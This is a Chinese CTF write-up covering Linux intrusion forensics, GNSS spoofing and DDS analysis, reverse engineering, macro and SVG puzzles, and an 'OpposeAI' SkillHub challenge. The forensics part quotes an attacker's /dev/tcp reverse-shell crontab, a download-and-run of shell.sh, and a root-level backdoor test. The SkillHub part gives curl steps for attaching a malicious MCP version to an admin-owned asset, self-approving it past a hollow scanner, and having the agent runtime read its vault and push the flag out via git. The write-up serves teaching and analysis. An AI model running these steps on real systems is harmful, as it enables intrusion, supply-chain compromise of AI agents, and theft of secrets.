2026数信杯个人区域赛wp(下):应急响应 / 无人机 / Reverse / Misc / 移动安全 / OpposeAI
原创
ljnljn
ljnljn
ljnljn学习之路
2026年10月19日 00:00
河北
去阅读
Linux服务器入侵取证
tomcat-collector-v2 是 SEED,实际 AES key 为 0dbe221e1d2cc130c5cbd3c01bb09a69。当前 jar 接受的口令令牌是 29f645d42789;它虽可通过同一异或算法解码为 update,但程序没有在认证路径对它执行该解码。
| 问题 | 还原值 | 证据 |
|---|---|---|
| 1 攻击 IP | 192.168.140.1 |
Apache 访问记录,以及 Tomcat 日志中的后门调用源地址 |
| 2 WebShell 文件及密码 | hack520.jsp 、pass |
webapps/hack520/hack520.jsp 第 9 行 _password = \"pass\" |
| 3 反连 IP | 45.96.120.15 |
/etc/crontab 中 /dev/tcp/45.96.120.15/2333,以及 /tmp/... |
| 4 实际口令及明文命令 | 29f645d42789:id |
当前 update.jar 的认证逻辑;本地受控调用验证 |
| 5 加密 key | 0dbe221e1d2cc130c5cbd3c01bb09a69 |
伪装库中 ConfigCipher.getKey() 的两轮 RC4 派生 |
| 6 日志中的 flag 内容 | elf_backdoor_stream_xor |
两层解密得到的 /tmp/.flag6.txt 内容 |
取证与攻击链
通过用户提供的 SSH 入口读取证据,保存至 evidence/,没有运行远端恶意 jar 或 ELF,也没有修改远端任务和文件。只分析本次从远端取得的材料。
Apache 日志有攻击来源 192.168.140.1 的上传及文件包含请求。Tomcat 日志有管理后台访问及 /hack520/hack520.jsp 调用记录,文件本身仍在,密码在源码中可读。Tomcat 配置保留 tomcat/tomcat 管理账号;Manager 日志包含 /hack520 应用启停记录。这些支持管理界面和部署应用相关的入侵路径,但现有访问日志没有完整上传请求体,不能仅凭这些材料断定所有上传操作的内容。
/root/.bash_history 保留从 45.96.120.15 下载 shell.sh 至 /tmp/... 并执行的操作;该脚本写入每分钟反连 45.96.120.15:2333 的计划任务。/etc/rc.local 也保留相同下载来源。
update.jar 提供 org.apache.catalina.filters.UpdateFilter,把 URL 参数解码后交给 /bin/sh -c。commons-codec-1.10.jar 实际只有 ConfigCipher、Collector 两个业务类,采集信息、调用 /usr/local/bin/updater,最后把加密结果追加到 /var/log/tomcat-collect.log。ELF 再采集临时 flag 文件及系统信息,输出第二层密文并删除临时文件。
逆向与解密
1. 当前后门与旧备份
必须以当前 update.jar 为准,备份 update.jar.bak 是明文参数版本。当前版本常量:
K = 5c8f33ae77c12d
PASS_ENC = 29f645d42789
crypt(x)[i] = x[i] XOR K[i % 7] XOR ((9*i) & 255)
Tomcat 访问日志第 135–137 行保留 update=29f645d42789:35e2。异或还原前后两段可得到 update、id,但认证路径只对前半段执行 unhex() 并与 PASS_ENC 比较,不调用 crypt()。因此 update 不是当前 jar 实际接受的口令,实际口令令牌为 29f645d42789。
在本地 WSL 中使用 CheckBackdoor.java、当前 jar 和 Servlet API 构造请求代理,唯一测试命令为已确认的 id:
input=update:35e2 accepted=false
input=29f645d42789:35e2 accepted=true
[UPDATE OUTPUT]
uid=0(root) gid=0(root) groups=0(root)
[END]
日志见 backdoor-auth-verification.txt。这个实验确认实际口令和命令行为,不能代替比赛平台对整串答案的校验。
2. 伪装 jar 的 AES 加密
rc4Round 执行标准 RC4 KSA,然后输出 16 字节 PRGA 密钥流;没有将种子本身与流异或。每一轮重新初始化状态。
seed = UTF8(\"tomcat-collector-v2\")
round1 = RC4(seed).keystream(16)
= 7af41d45fbc87f3427626a518bc10bff
key = RC4(round1).keystream(16)
= 0dbe221e1d2cc130c5cbd3c01bb09a69
ConfigCipher.encrypt 使用 AES/ECB/PKCS5Padding,对 AES 等价于 16 字节 PKCS#7 填充。TCC1: 后面是十六进制密文。解密成功后得到 12084 字节采集记录;脚本验证重新填充、加密可逐字节还原原密文。
3. UPX ELF 的流异或
/usr/local/bin/updater 是 UPX 4.2.4 加壳的 x86-64 ELF。本地使用 upx -d 解包为 updater.unpacked,没有执行恶意程序。反汇编中:
0x401552是 main;传入的第一个参数经十六进制解码,必须得到 16 字节 key。0x40105e是加密函数,状态初值为0x2f。0x401828附近删除/tmp/.flag6.txt,所以该文件现已不在文件系统不影响从日志恢复。
其逆变换为:
state = 0x2f
for i, c in enumerate(ciphertext):
state = (state + key[i % 16] + 0x11) & 255
plaintext[i] = c ^ state ^ ((19 * i) & 255)
对第一层明文中 UPD01: 后的 4703 字节数据执行逆变换,开头为:
=== updater collect ===
--- /tmp/.flag6.txt ---
flag6: elf_backdoor_stream_xor--- uname -a ---
flag6 的值以紧随其后的节标题为界。原临时文件没有换行,因此和下一节标题相连。
解密出的进程列表还包含一次删除旧日志、重建临时 flag、重启 Tomcat 的命令。这是采集时的进程快照,不能据此断言当前采集日志也不存在,更不能据此断言前五问的证据全部被删除。采集明文中部分 Apache 日期仍是 2023,当前日志被改为 2026;时间线存在整理痕迹,日期不宜作为唯一归因依据。
复现
环境:Python 3、PyCryptodome;ELF 静态分析使用 UPX 4.2.4 和 GNU objdump,Java 使用题目环境 JDK 8 的 javap。
python reinvestigate/decrypt.py
完整脚本会解密已保存的远端日志、保存两层明文,从日志、WebShell、计划任务取出答案并输出最终拼接。collect-01.txt 是第一层明文,updater-01-42.txt 是内层明文(具体行号后缀由脚本生成)。全部本地证据的 SHA-256 见 evidence-sha256.json。
flag{192.168.140.1_hack520.jsp:pass_45.96.120.15_29f645d42789:id_0dbe221e1d2cc130c5cbd3c01bb09a69_elf_backdoor_stream_xor}
无人机安全
天空在撒谎
材料字符串为:
486037000|GPS|GALILEO|75.0|37
按 UTF-8 编码计算 SHA-256,取小写十六进制摘要的前 32 个字符,得到:
flag{b347b01858cfa126cf7866ba0a413231}
字段判定
| 字段 | 结果 | 含义 |
|---|---|---|
onset_itow |
486037000 |
首个受影响历元的 iTOW |
affected_constellation |
GPS |
出现一致伪距异常的星座 |
reference_constellation |
GALILEO |
未出现同类异常的参考星座 |
spoof_step_m |
75.0 |
每历元额外增加的伪距偏置 |
epoch_index |
37 |
从 0 开始编号 ,即第 38 个历元 |
如何定位欺骗起点
逐帧解析附件,共得到 120 个校验通过的 UBX 报文,其中 NAV-PVT 和 RXM-RAWX 各 60 个,对应 60 个历元。iTOW 从 486000000 开始,每次增加 1000。
原始观测中存在两个星座:gnssId=0 和 gnssId=2。按 UBX 定义,它们分别对应 GPS 和 Galileo,因此材料字符串使用 GPS、GALILEO。u-blox[1]
关键不是直接寻找经纬度漂移,而是比较伪距实际增量与多普勒预测增量是否一致。UBX 的 prMes 单位是米,doMes 单位是 Hz,且多普勒正号表示卫星正在接近,因此预测的伪距变化使用负号。u-blox[2]
对同一颗卫星的相邻历元计算:
实际伪距增量抵消多普勒预测增量
本附件的信号对应 GPS L1 C/A 与 Galileo E1 C;两者所在载频为 1575.42 MHz,使用波长:
米
信号编号与载频关系可由 UBX 信号表和信号文档核对。u-blox[3]
对每个星座的 6 颗卫星分别取残差中位数,起点附近的结果如下,单位为米:
| 零基历元 | iTOW | GPS 残差中位数 | GALILEO 残差中位数 |
|---|---|---|---|
| 35 | 486035000 | -0.002821 | -0.003006 |
| 36 | 486036000 | -0.003114 | -0.002927 |
| 37 | 486037000 | 74.997014 | -0.003122 |
| 38 | 486038000 | 74.997049 | -0.002896 |
| 39 | 486039000 | 74.996879 | -0.003029 |
因此,首个异常历元是 37,对应 iTOW 486037000。从这一历元开始,GPS 的伪距每个历元都比多普勒预测值额外增加约 75 米,而 GALILEO 仍然接近零。
用未受影响星座验证
在首次异常区间,即历元 36 → 37:
| 星座与卫星 | 实际伪距增量 | 多普勒预测增量 | 两者之差 |
|---|---|---|---|
| GPS,SV 3 | +57.026086 | -18.000000 | +75.026086 |
| GALILEO,SV 2 | -1.765001 | -1.800000 | +0.034999 |
这不是只出现在一颗卫星上的异常:起点处 6 颗 GPS 卫星的残差全部落在 74.956759~75.041552 米之间;与此同时,6 颗 GALILEO 卫星的残差仅为 -0.039032~0.035731 米。检查整个文件,GALILEO 的逐星残差始终保持在约 ±0.0442 米以内。
用 GALILEO 的中位数作为对照,起点处的星座间残差差值为:
米
固定保留一位小数,即 75.0。
附件中的 fixType 始终为 3、gnssFixOK 始终置位;按协议,这表示接收机持续报告有效的 3D Fix,但这些状态本身不等于观测不存在欺骗。u-blox[4] 此外,本文件中的 GPS 伪距与载波相位被同步带偏,仅检查二者的一致性也会漏掉异常;真正暴露问题的是它们与多普勒之间的不一致。
Domain 42
最终 Flag 为:
flag{7461da3557d96d1773e21d06e0a47229}
对应的材料字符串是:
000003c2|105|7|-0.145|-0.5475|1605
1. 确定正确的参与者与 writer
对 domain42.pcap 的参与者发现报文进行解析,得到:
| 发现报文帧号 | 参与者名称 | Domain ID | GUID Prefix |
|---|---|---|---|
| 1 | payload-bench |
7 | 01101234123456789abcdef0 |
| 2 | maintenance-replay |
42 | 0110deadc0de001337420042 |
| 3 | fc-primary |
42 | 0110aabbccddeeff10203040 |
按题目中的控制端角色,选择 Domain 42 的 fc-primary,其源 IP 为 10.13.0.3,命令 writer EntityId 为 000003c2。这里需要结合 GUID Prefix 区分参与者,不能仅凭端口或者 CRC 是否通过来筛选;GUID Prefix 是 RTPS 中标识参与者的字段。Fast DDS Docs[5]
2. 最后一条有效命令是序号 105,不是最后到达的 104
可信 writer 的命令记录如下:
| 抓包帧号 | Writer Sequence | CRC32 | 校验结果 |
|---|---|---|---|
| 40 | 100 | 7cb8b015 |
通过 |
| 41 | 101 | 2fff46a3 |
通过 |
| 42 | 102 | 6bd26c9f |
通过 |
| 44 | 104 | 3b8b4de8 |
通过 |
| 45 | 105 | cc8ee049 |
通过 |
| 46 | 104 | 3b8b4de8 |
通过,但与第 44 帧重复 |
第 46 帧虽然到达更晚,但其 RTPS 内容与第 44 帧完全相同,是旧序号 104 的重复包,不是一条更新的命令。
第 47 帧为同一 writer 的 HEARTBEAT,解析出的序号范围为 100~105,进一步印证最新序号为 105。HEARTBEAT 中的序号范围用于表明 writer 的样本序列状态,而不是按照抓包到达顺序重新编号。RTI Community[6]
3. 解码第 45 帧的 CDR 载荷并验证 CRC32
载荷封装头为 00 01 00 00,其表示标识 0x0001 对应小端 CDR_LE。Fast DDS Docs[7]
去掉四字节封装头后,应用数据为:
6900000007000000e17a14bef6280cbf4506000049e08ecc
按小端布局解码:
| 字段 | 原始字节 | 解码结果/提交格式 |
|---|---|---|
| 应用序号 | 69 00 00 00 |
105 ,与 RTPS writer sequence 一致 |
| mode | 07 00 00 00 |
7 |
| pan | e1 7a 14 be |
约 -0.1449999958 → -0.145 |
| tilt | f6 28 0c bf |
约 -0.5475000143 → -0.5475 |
| duration | 45 06 00 00 |
1605 |
| CRC32 | 49 e0 8e cc |
0xcc8ee049 |
CRC32 的计算范围为应用数据前 20 字节,不包含 CDR 封装头,也不包含末尾 CRC 字段:
6900000007000000e17a14bef6280cbf45060000
计算结果与载荷中存储的值一致:
计算 CRC32:0xcc8ee049
存储 CRC32:0xcc8ee049
我还用独立的逐位 CRC32 实现交叉验证,结果相同。
4. 计算最终摘要
对材料字符串的 UTF-8 字节计算 SHA-256,不加入换行:
000003c2|105|7|-0.145|-0.5475|1605
完整摘要为:
7461da3557d96d1773e21d06e0a47229c84fb49471796eb3a92948ff2d7442bf
取前 32 个小写十六进制字符,得到:
flag{7461da3557d96d1773e21d06e0a47229}
Reverse
八证词
恢复出的 Flag 是:
flag{utyzn4pgv6bvlilpasoq3o5s}
长度为 30 字节,已验证正确输入得到:
ok
验证时加载了原 EXE 的机器码并执行原主函数,仅适配 Windows 系统接口,没有修改校验逻辑或预期结果。正确输入返回码为 0;将首字母改成大写,或者删除最后一个字符,都会输出 ignored,返回码为 1。
解题关键
程序中内嵌了以 WIT8RS01 开头的数据,包含八个 worker,每个 worker 都有自己的操作码置换表、滚动解码密钥和 177 条虚拟机指令。
解码后,八份“证词”实际对应 GF(256) 上的三次多项式约束。对每一列,从八个取值中寻找至少六个一致的取值,就能纠正两个受损值,恢复预处理后的 32 字节:
12515a0466279f86ea3e59658a67600d46c32a68ec3557809edcb2fa782086be
随后逆向四个独立 8 字节块的差分变换、10 轮 Feistel 变换和初始异或掩码,得到:
flag{utyzn4pgv6bvlilpasoq3o5s}\\x00\\x00
最后两个 \\x00 是内部填充,不要输入。
折叠端口
已解出,程序中填写:
Username: CTF
Serial: 99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1
Serial 是 64 个大写十六进制字符,不要加入空格。
验证结果
我将恢复的 Serial 交给原程序的解析函数,再通过原始运算函数执行全部 320 个单元,最终得到:
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
程序在 0x140003906 附近将最终结果与 32 字节全零数据比较,相等即设置成功标志。上述结果满足这一条件。
此外,独立 Python 实现与原始机器码的 320 组派生参数、320 个网络单元,以及 1280 次轮函数计算全部一致。验证使用的是原始核心函数,没有启动 Windows 图形界面。
核心解法
程序将 Serial 解析为 8 个小端 32 位整数,经过 80 层、每层 4 个单元的变换。
单元函数 0x140005A80 实际上是 Feistel 结构:
L_next = R
R_next = L XOR F(Username, unit_id, R)
因此可以直接逆推:
R = L_next
L = R_next XOR F(Username, unit_id, L_next)
轮函数虽然包含 SHA-256 参数派生、S 盒、乘法、循环移位和字节重排,但不需要求轮函数自身的逆函数,也不需要暴力破解。从最终的 8 个零出发,按单元编号 319 → 0 逆序恢复,就得到上面的 Serial。
复现脚本
solve\_foldport.py · FoldPort\_分析记录.md
脚本仅使用 Python 标准库,直接运行:
python solve_foldport.py
会输出正确 Serial 和 Mathematical verification: PASS。
Misc
宏安全审计
真正的 Flag 是:
flag{what_runs_is_not_what_you_read}
已完成纯静态恢复:没有启用宏,没有执行附件中的 VBA 或缓存字节码。恢复结果通过了顺序 CRC16、密文 CRC32 校验,并能反向编码回全部原始密文字节。
1. 可见 VBA 中的 Flag 是诱饵
解压 xl/vbaProject.bin,解析 OLE 结构后,在 VBA/Module1 流的 0x3BB 处找到压缩源码。源码中包含:
reportToken = \"ZmxhZ3t2YmFfc291cmNlX2lzX3RydXN0ZWR9\"
MsgBox \"Audit passed: \" & DecodeAuditToken(reportToken)
这段 Base64 解码得到:
flag{vba_source_is_trusted}
但对应函数的注释明确指出:
Historical compatibility stub. The source-side result is an audit decoy.
源码最后还写明:
Source-order 0,1,2,3,4 is only a compatibility lie.
因此,上述 Flag 和隐藏工作表给出的 0,1,2,3,4 顺序都不能直接采用。完整内容见Module1\_source.txt。
这里需要区分可见源码和缓存证据:VBA 源码与编译后的 p-code 可以分别存储,单看源码不足以判断缓存中的内容。GitHub[8]
2. 从五个位置取出密文片段
附件将数据分散存放,并使用不同编码:
| 槽编号 | 所在位置 | 提取方式 | 得到的字节(十六进制) |
|---|---|---|---|
| 0 | docProps/core.xml 的 AUD0 注释 |
Base64 解码 | c5394c21b77dd5 |
| 1 | xl/worksheets/sheet1.xml 的 AUD1 注释 |
十六进制解码 | 1b23ce79c8c66f |
| 2 | xl/workbook.xml 的 AUD2 注释 |
逗号分隔的十进制字节 | 8d5bee1e692141 |
| 3 | xl/vbaProject.bin 尾部的 CTFSLOT3 |
标记后读取两字节大端长度及载荷 | bc5792bede1239ec |
| 4 | xl/embeddings/vbaCache.bin 的末尾槽 |
两字节大端长度及载荷 | c07c99b44ef969 |
其中,CTFSLOT3 标记位于 vbaProject.bin 内偏移 0x4201,对应载荷长度为 8 字节。这些提取值已保存在evidence.json中。
3. 静态恢复真正的拼接顺序和初始状态
vbaCache.bin 是一个 64 字节的自定义 VBCS 结构化记录,包含:
版本: 1
顺序 CRC16: 0x75E8
密文 CRC32: 0x473D22E8
栈式记录长度: 42 字节
末尾槽长度: 7 字节
它不是 Excel 原生 VBA p-code。根据源码中的操作码枚举,可以将其中五组固定表达式直接化简,不需要运行字节码:
0xA4 XOR 0xA7 = 3
0x38 XOR 0x39 = 1
0xD6 XOR 0xD2 = 4
0x6C XOR 0x6C = 0
0x57 XOR 0x55 = 2
所以真正的拼接顺序为:
3 → 1 → 4 → 0 → 2
后面的两条累加器记录给出初始状态。这里的 32 位操作数按小端读取,与文件头的校验值和长度字段不同:
c2 b7 31 8f → 0x8F31B7C2
37 ce 1a e2 → 0xE21ACE37
初始状态 = 0x8F31B7C2 XOR 0xE21ACE37
= 0x6D2B79F5
按上述顺序拼接后,得到 36 字节密文:
bc5792bede1239ec1b23ce79c8c66fc07c99b44ef969c5394c21b77dd58d5bee1e692141
校验结果如下,均与记录头一致:
| 校验对象 | 计算结果 |
|---|---|
顺序原始字节 03 01 04 00 02,CRC-16/CCITT-FALSE |
0x75E8 |
| 拼接后的 36 字节密文,CRC32 | 0x473D22E8 |
反过来,诱导顺序 0,1,2,3,4 的两个校验结果分别为 0x1C0F 和 0x1F1257EA,均不匹配。详细数值和字节轨迹见静态分析报告.md。
4. 解码与反向验证
从 state = 0x6D2B79F5 开始,每处理一个密文字节,先推进一次状态,再进行循环右移和异或:
def ror8(value, count):
return ((value >> count) | (value << (8 - count))) & 0xFF
state = 0x6D2B79F5
plaintext = bytearray()
for value in ciphertext:
state = (state ^ (state << 13)) & 0xFFFFFFFF
state = (state ^ (state >> 17)) & 0xFFFFFFFF
state = (state ^ (state << 5)) & 0xFFFFFFFF
count = (state >> 8) & 7
plaintext.append(ror8(value, count) ^ (state & 0xFF))
所得明文就是开头的 Flag。将明文按相反步骤——先异或状态低字节,再循环左移——重新编码后,36 个字节全部与原密文一致。
Vector Secrets
恢复出的 Flag 是:
FLAG{XOR_SHAPES_REVEAL_FLAG}
恢复依据
关键不在隐藏文本,而在于:复原两组矩形的坐标,再对它们做几何异或。
1. 找到被海报覆盖的几何数据
SVG 中,frame_83 包含 232 组 <use> 引用,分别指向 asset_000 至 asset_231。每组都有平移、矩阵变换和对应的 clipPath。
后绘制的 poster 首先放置了一个覆盖整个画布的不透明背景矩形,因此直接查看海报看不到这些几何数据。
2. 先裁剪,再还原全局坐标
对每个被引用的矩形,先与对应裁剪框求交,再应用其父级变换。对于:
<g transform=\"translate(tx ty)\">
<g transform=\"matrix(a b c d e f)\">
局部坐标到全局坐标的关系为:
计算时需要变换矩形的四个角,再重新确定边界,不能只变换左上角,否则遇到旋转、镜像会发生位置偏移。
232 个符号中共有 1,852 个矩形;裁剪排除了 464 个,剩下 1,388 个。它们变换后全部仍为 5×5 方块,落在起点为 (90,405)、步长为 5 的 168 列 × 7 行网格上。
3. 对两组坐标集合做 XOR
根据引用顺序和填色,可以分成两组:
| 集合 | 符号范围 | 填色 | 不重复方块数 |
|---|---|---|---|
| A | asset_000 ~asset_114 |
#16263a 、#1b344d |
689 |
| B | asset_115 ~asset_231 |
#24496b 、#2d5d87 |
699 |
两组各自内部没有重复坐标,但两组之间有 494 个重合位置。保留只出现在其中一组的位置,即计算对称差:
得到:
这 400 个方块形成了规则字形;直接取并集则只会得到杂乱的点阵。
4. 按几何网格拆分字符
异或结果中,每 6 列为一组:前 5 列构成字形,第 6 列全部为空。因此恰好得到 28 个 5×7 字符。
例如,第一个字符的占用矩阵为:
11111
10000
11110
10000
10000
10000
10000
对应 F。从左至右逐组读取,得到:
F L A G { X O R _ S H A P E S _ R E V E A L _ F L A G }
移动安全
eSIM迁移审计
恢复出的审计令牌是:
19d2cf987a3e049e5c5082d7c27a219d
这与上一步保存的令牌及成功验证记录一致,nativeProcessInput 的返回值为 1。 esim\_audit\_token verification
验证结果
保存的 native 验证记录包含三组对照:
| 测试条件 | nativeProcessInput 返回值 |
结果 |
|---|---|---|
| 正确令牌+完整记录 | 1 |
通过 |
将令牌中的 19d2… 改为 19d3… |
0 |
失败 |
| 正确令牌,但破坏记录 | 0 |
失败 |
这三组结果说明,保存的成功结果同时依赖正确令牌和完整记录,而不是任意输入都能通过。 verification verification verification
APK 中应如何输入
这次重新检查了 classes.dex,确认审计按钮的逻辑是:
检查输入没有首尾空白,且已经是小写
↓
hexDecode:要求恰好 32 个十六进制字符,解码为 16 字节
↓
读取 incident 记录,并完成 nativeUnlock
↓
nativeProcessInput(输入字节, incident记录)
↓
返回 1 显示 “Correct”,否则显示 “Wrong”
OpposeAI
SkillHub
漏洞不在某个注入点,而在审计结论与运行时信任条件之间的缺口:安全扫描器 9 个引擎里 7 个 根本不存在(executable not found),只剩 manifest + inventory 两个只做\"打包清单\"级别的检查, 永远给 PASS;而内部 Agent 运行时装载 MCP 能力只看三件事——publisher_id == system_admin、 资源级 moderation_status == APPROVED、目标版本 version_moderation_status == APPROVED。
于是:以审核员身份,向官方 system_admin 名下的 MCP 资产追加一个自己写的版本(资产归属不变、 代码全换),自己给自己过审,运行时就会以 agentrt 身份拉起我们的代码。载荷读走保险箱里的 flag, 写进运行时与平台共享的内部 git 库并 push,平台下一次 internal-skill-sync 把它当普通 Skill 导入, flag 就直接出现在平台上。
1. 报告是空的:安全扫描器形同虚设
GET /api/v1/security-audit/reports//<version>:
\"engine_statuses\": {\"osv\":\"FAILED\",\"sbom\":\"FAILED\",\"yara\":\"FAILED\",\"trivy\":\"FAILED\",
\"clamav\":\"FAILED\",\"gitleaks\":\"FAILED\",\"manifest\":\"SUCCEEDED\",
\"inventory\":\"SUCCEEDED\",\"skillspector\":\"FAILED\"},
\"engine_details\": {\"osv\":\"osv-scanner executable not found\", \"trivy\":\"trivy executable not found\", ...}
9 个引擎 7 个因为可执行文件不存在直接 FAILED,真正跑起来的只有:
| 引擎 | 实际做了什么 |
|---|---|
manifest |
极弱的模式匹配(本次只报了一条非阻断的 PY-DYNAMIC-EXEC) |
inventory |
列出 ZIP 里有哪些文件、文件哈希、内嵌 URL |
也就是说,\"通过安全审计\"的输入里根本不包含文件内容——报告只覆盖了\"包里有什么文件\"。 这正是题面里\"没有人会去问那份报告到底看了什么\"的实体。
初始 1.0.0 版本、以及我们后来的载荷版本,verdict 要么 PASS 要么 REVIEW,从不 BLOCK, 过审毫无阻力。
2. 从 agent-runtime-guide 读出装载契约
平台公开列表里就有一份 agent-runtime-guide(system_admin 发布),把内部约定写得清清楚楚:
SkillHub(平台,人工审核 + 安全审计) │ 审核通过
▼内部能力仓库 agent-skill-hub ──pull──▶ 内部 Agent 运行时
▲ │ └──── SkillHub Bot 机器人写回 ◀──── 平台 Git 导出任务
装载条件(三个都要满足):
| 条件 | 取值 |
|---|---|
| 来源 | publisher_id == system_admin |
| 资源状态 | moderation_status == APPROVED |
| 版本状态 | version_moderation_status == APPROVED (必须是该版本自身过审) |
运行环境:运行时以 agentrt(uid 1001) 运行,能力进程与运行时同身份,可读运行时保险箱 $SKILLHUB_AGENT_VAULT(默认 /srv/agent/vault,存放 Agent 侧凭据面,0400 agentrt) 和内部能力仓库工作副本 /srv/agent/repo。运行时每 15s 轮询一次平台,同一个 (asset_id, version) 只装载一次。
注意详情接口用 PATCH 而不是 GET(GET 返回 405)——这是前端拉取资产详情的方式。
3. 把自己的代码挂到官方资产上
POST /api/v1/plugins(multipart + X-Checksum-SHA256)。直接发新包 publisher_id 只能是自己, 运行时不会装载。关键点:带上 plugin_id 参数,服务端按\"包内 plugin.yaml 的 name == 目标资产名\" 校验,就把新版本追加到别人的资产上——资产归属仍是 system_admin,代码却是攻击者的:
curl -X POST \"$T/api/v1/plugins\" \\
-H \"Authorization: Bearer $TOK\" -H \"X-Checksum-SHA256: $SHA\" \\
-F \"[email protected]\" \\
-F \"plugin_id=87addcb533d8410cba47aed508813b9a\" \\
-F \"expected_plugin_type=mcp-stdio\"
# -> {\"plugin_id\":\"87addcb533d8410cba47aed508813b9a\", ...}
# storage_url: plugins/<我>/87addcb.../9.0.19990/... ← 路径里是我的 id,资产归属却是 system_admin
包的硬性要求(踩坑记录):
- ZIP 必须有恰好一层顶层目录,
plugin.yaml在第一层里;缺README.md会被invalid_plugin_structure拒掉。 .mcp.json的校验挡住的是命令形式(不能sh -c、不能绝对路径),不是内容: 用python3 src/server.py这个完全合规的形态,把载荷放进脚本里即可。
4. 补齐装载三条件:自己审自己
新版本发布后资源级状态变 PENDING。用审核员身份:
curl -X POST \"$T/api/v1/plugins/$ASSET/moderation\" \\
-H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\
-d '{\"action\":\"approve\",\"version\":\"9.0.19990\"}'
(扫描 job 落库前会 409,重试几次即可;也可以用返回里的 security_report_id 带上。) 版本过审后,三条件同时满足:publisher_id=system_admin + 资源 APPROVED + 版本 APPROVED。
5. 触发装载,把 flag 带出来
curl -X POST \"$T/api/v1/plugins/git-export-jobs/run-once\"
# 包推到 /srv/git/agent-skill-hub.gitcurl -X POST \"$T/api/v1/plugins/internal-skill-sync\" -d '{\"pull\":true}'
运行时 15s 内轮询到新版本,以 agentrt 身份拉起 python3 src/server.py。载荷干三件事:
- 读
$SKILLHUB_AGENT_VAULT/flag(与运行时同身份,读得到); - 写进共享仓库
skills/exfil-marker/SKILL.md,git add/commit/push回共享裸库; - 按 MCP stdio 约定把结果吐到 stdout(对运行时保持\"正常 MCP 服务\"的样子)。
之后平台的下一次 internal-skill-sync 拉取共享仓库,把 exfil-marker 当普通 Skill 导入, flag 就出现在资产的 short_desc / detail_desc 里:
asset: fb45d9dd96c44531a4b410c355847a45 name=exfil-marker publisher=system_adminshort_desc = flag{2a2e13c34bccc3747a95c22889145db5}
引用链接
[1]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01\_InterfaceDescription\_UBX-23003447.pdf
[2]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01\_InterfaceDescription\_UBX-23003447.pdf
[3]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01\_InterfaceDescription\_UBX-23003447.pdf
[4]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01\_InterfaceDescription\_UBX-23003447.pdf
[5]Fast DDS Docs: https://fast-dds.docs.eprosima.com/en/latest/fastdds/discovery/discovery\_server.html?utm\_source=chatgpt.com
[6]RTI Community: https://community.rti.com/forum-topic/connext-logs?utm\_source=chatgpt.com
[7]Fast DDS Docs: https://fast-dds.docs.eprosima.com/en/v2.6.12/fastdds/api\_reference/rtps/common/SerializedPayload/defines.html?utm\_source=chatgpt.com
[8]GitHub: https://github.com/bontchev/pcodedmp?utm\_source=chatgpt.com
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论